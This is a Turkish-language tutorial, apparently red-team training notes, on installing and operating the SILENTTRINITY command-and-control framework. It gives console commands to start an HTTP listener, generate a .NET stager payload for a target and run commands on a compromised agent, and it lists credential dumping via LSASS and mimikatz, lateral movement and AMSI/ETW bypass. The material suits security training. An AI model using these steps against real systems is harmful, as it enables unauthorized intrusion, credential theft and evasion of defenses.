**🧠 1. SilentTrinity Nedir?**

**SILENTTRINITY, Python 3 ile yazılmış, modüler, genişletilebilir ve modern bir C2 (Command and Control) framework’tür.**

**En dikkat çekici özelliği: .NET assembly’leri Python üzerinden çalıştırabilmesidir.**

**🎯 2. Temel Özellikler**

| **Özellik** | **Açıklama** |
| --- | --- |
| **🧩 Python + .NET birleşimi** | **IronPython motoru sayesinde .NET kodlarını Python’dan çalıştırır** |
| **📂 Modüler yapı** | **Payload, exploit ve agent’lar modül olarak çalıştırılır** |
| **🛠️ Post-Exploitation** | **Fileless saldırılar, credential dump, lateral movement** |
| **💻 CLI tabanlı** | **Konsol üzerinden yönetim ve modüller arası geçiş yapılabilir** |
| **🔁 AV/EDR atlatma** | **Obfuscation, AMSI bypass ve ETW patching gibi destekler** |

**⚙️ 3. Kurulum (Kali Linux)**

**✅ Bağımlılıkları yükle:**

**sudo apt update**

**sudo apt install python3-pip**

**pip3 install poetry**

**✅ SILENTTRINITY'yi klonla ve kur:**

**git clone https://github.com/byt3bl33d3r/SILENTTRINITY**

**cd SILENTTRINITY**

**poetry install**

**poetry shell**

**🚀 4. Kullanım Komutları**

**▶️ SilentTrinity'yi başlat:**

./st.py

Bu komut ile ana konsola erişim sağlanır.

**➕ Listener oluştur:**

listeners

use http

set Name http1

set BindIP 0.0.0.0

set Port 8080

execute

**🧬 Payload oluştur:**

generate

use stager

set Listener http1

set Language dotnet

execute

Oluşan payload hedefe taşınır.

**🧪 Agent bağlantısı sonrası komut gönderme:**

interact <agent\_id>

run whoami

run hostname

metin, ekran görüntüsü, yazı tipi, multimedya içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

Örnek terminal çıktısı

**🔐 6. Kullanım Senaryoları**

| **Senaryo** | **Açıklama** |
| --- | --- |
| 🧭 Discovery | Hedef sistemde kullanıcı, bilgisayar, etki alanı bilgileri toplama |
| 🎭 Credential Dumping | LSASS, mimikatz modülleriyle parola bilgisi toplama |
| ↪️ Lateral Movement | SMB, WMI, PsExec ile yanal hareketler |
| 🧱 AV/EDR Evasion | AMSI/ETW bypass, obfuscation, PowerShellless payload'lar |

**🎯 7. Öğrenim Kazanımları**

* Python tabanlı modüler C2 mantığını kavrama
* AV bypass, credential extraction gibi ileri post-exploitation teknikleri
* Agent yönetimi ve sızma sonrası sistem kontrolü
* Modern Red Team senaryolarında operasyon yürütme